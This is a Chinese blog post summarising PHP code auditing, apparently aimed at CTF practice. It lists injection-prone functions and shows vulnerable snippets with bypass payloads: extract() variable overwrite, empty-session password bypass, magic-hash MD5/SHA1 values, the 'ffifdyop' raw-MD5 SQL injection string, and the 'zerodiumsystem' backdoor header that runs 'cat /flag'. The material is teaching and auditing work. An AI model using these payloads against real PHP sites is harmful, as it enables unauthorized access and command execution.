<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    php代碼審計總結

    VSole2021-09-21 09:27:39

    在php中可由用戶輸入的變量

    $_SERVER$_GET$_POST$_COOKIE$_REQUEST$_FILES
    

    存在命令注入的函數

    systemexecpassthrushell_execpopenproc_openpcntl_exec
    

    存在XSS和CSRF的函數

    echoprintprintfvprintf<%=$test%>
    

    存在文件包含的函數

    includeinclude_oncerequirerequire_onceshow_sourcehighlite_filereadfileflie_get_contentsfopen
    

    存在代碼注入的函數

    evalpreg_replaceassertcall_user_funccall_user_func_arraycreate_function
    

    存在SQL注入的語句

    insertupdateselectdelete
    

    文件管理函數

    copyrmdirunlinkdeletefwritechmodfgetcfgetcsvfgetsfgetssfilefile_get_contentsfreadreadfileftruncatefile_put_contentsfputcsvfputs
    

    對于此類函數,可以使用php偽協議進行一個繞過。

    $a=$_GET['a'];if(stripos($a,'.')){    echo 'no';    return ;}$data = @file_get_contents($a,'r');if($data=="WHT is a good family!"){    require("flag.txt");    echo "flag";}?>
    

    GET形式傳入參數a,a不能含有.,且變量a必須為WHT is a good family!

    使用php偽協議進行一個傳參。

    文件上傳函數

    move_uploaded_file
    

    變量覆蓋函數

    extract
     $flag='flag.txt';extract($_GET); if(isset($a)) {    $content=trim(file_get_contents($flag));    //將flag文件的內容賦值給content變量    if($a==$content)    {        echo'ctf{xxx}';    }   else   {    echo'no';   }   } ?>
    

    "extract($_GET)"此函數將GET傳入的參數都重新賦值了, $content的值為flag.txt的內容,只有a和content的值相等時,才會輸出flag,所以將$flag賦值一個不存在的文件,那么$content的值也就為空,此時$content也就變的可控了。

    POC:

    a=&flag=tzzzez
    

    Session繞過

     $flag = "flag{xxxx}"; session_start();if (isset ($_GET['password'])) {    if ($_GET['password'] == $_SESSION['password'])        die ('Flag: '.$flag);    else        print 'Wrong';}mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));?>
    

    Session的password在未登陸時為空,我們只要上傳一個空的paasword即可繞過。

    比較相等繞過

    MD5md5('240610708')==md5('QNKCDZO')md5('aabg7XSs')==md5('aabC9RqS')SHA1sha1('aaroZmOk')==sha1('aaK1STfY')sha1('aaO8zKZF')==sha1('aa3OFF9m')明文'0010e2'=='1e3''0x1234Ab'=='1193131''0xABCdef'==' 0xABCdef'
    

    弱類型整型比較

     error_reporting(0);$flag = "flag{test}"; $temp = $_GET['password'];is_numeric($temp)?die("no numeric");   if($temp>1336){    echo $flag;} ?>
    

    當一個整形和一個其他類型行比較的時候,會先把其他類型intval再比。

    POC:

    password=1377a
    

    MD5函數true繞過

    $password = $_GET['password'];$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
    

    ffifdyop

    129581926211651571912466741651878684928

    preg_match繞過

        1.數組繞過

        2.回溯次數限制繞過

        3.添加換行符 和 %0a

    strpos()繞過

       strpos()找的是字符串,那么傳一個數組給它,strpos()出錯返回null。

    sha1()繞過

     $flag = "flag{xxxx}"; if (isset($_GET['name']) and isset($_GET['password'])){    if ($_GET['name'] == $_GET['password'])        echo 'Your password can not be your name!';    else if (sha1($_GET['name']) === sha1($_GET['password']))      die('Flag: '.$flag);    else        echo 'Invalid password.';}else    echo 'Login first!';?>
    

    需要構造一對哈希值相等但明文不同的字符串,這里sha1函數無法處理數組,當處理數組時會報錯返回False,這樣就使得2個參數的哈希值“相等”,這里傳參2個不同的數組即可繞過所有if。

    MD5碰撞

    PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。

    0e開頭的md5和原值:QNKCDZO0e830400451993494058024219903391QNKCDZO0e8304004519934940580242199033912406107080e462097431906509019562988736854s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675
    

    PHP版本存在漏洞的函數

    User-Agentt: zerodiumsystem("cat /flag");
    

    值不等MD5相等,用兩個不能MD5轉換的值就可以。

    php哈希
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    據悉,黑客正在大規模利用WordPress網站Tatsu Builder插件中的遠程代碼執行漏洞 CVE-2021-25094發起攻擊。 Tatsu Builder是一個熱門的插件,提供了強大的模板編輯功能,集成在網頁瀏覽器中,約有100,000個網站安裝了該插件。 目標漏洞CVE-2021-25094是由獨立研究人員文森特·米歇爾(Vincent Michel)發現的,文森特于2022年3月
    PHP弱類型漏洞復現
    2021-09-19 07:11:07
    在一次滲透測試中,由于甲方維護做的比較好,并沒有發現什么漏洞,在即將結束的時候,我還是沒有大的突破。
    php代碼審計總結
    2021-09-21 09:27:39
    php中可由用戶輸入的變量$_SERVER$_GET$_POST$_COOKIE$_REQUEST$_FILES. 對于此類函數,可以使用php偽協議進行一個繞過。
    Bleeping Computer 網站披露, WordPress 插件 Tatsu Builder 中存在遠程代碼執行漏洞 CVE-2021-25094,黑客正在利用其進行大規模網絡攻擊。(該插件安裝在大約 10 萬個網站上。)
    PHP編程語言的維護者確認,威脅行為者可能已經破壞了包含其密碼的用戶數據庫。PHP編程語言的維護者提供了有關3月28日發生的安全漏洞的更新。未知的攻擊者入侵了PHP編程語言的官方Git服務器,并推送了未經授權的更新,以在源代碼中插入后門。所有的密碼均已重置。Popov解釋說,對該事件的進一步調查顯示,提交還通過HTTPS和基于密碼的身份驗證進行了推送。
    本文使用的是php5.6.10版本源碼,我們主要來看看該版本下繞過wakup魔術方法這個CVE-2016-7124漏洞,用以記錄前段時間的分析。
    Laravel 是一個廣泛使用的開源 PHP Web 框架。它可用于相對輕松地創建復雜的 Web 應用程序,并在許多流行的項目中使用。
    超實用的網絡安全開源工具
    近期,安全研究人員檢測到Elasix VoIP服務器遭到大規模網絡攻擊,該攻擊使用CVE-2021-45461遠程代碼執行漏洞,植入PHP Web shell實現遠程控制,還特意修改文件時間戳試圖”融入環境“。僅僅3個月時間,已經有超50萬設備被感染。
    域滲透就是基于windows域環境的滲透,而域滲透涉及到的技術,如哈希傳遞(PTH)票據傳遞(PTT)委派攻擊等,都是基于域環境下的認證機制來實現的,這也是為什么要了解Windows認證機制的原因之一Windows的認證包括三個部分,用戶直接操作計算機登陸賬戶(本地認證),遠程連接到工作組中的某個設備(網絡認證),登陸到域環境中的某個設備(域認證)
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类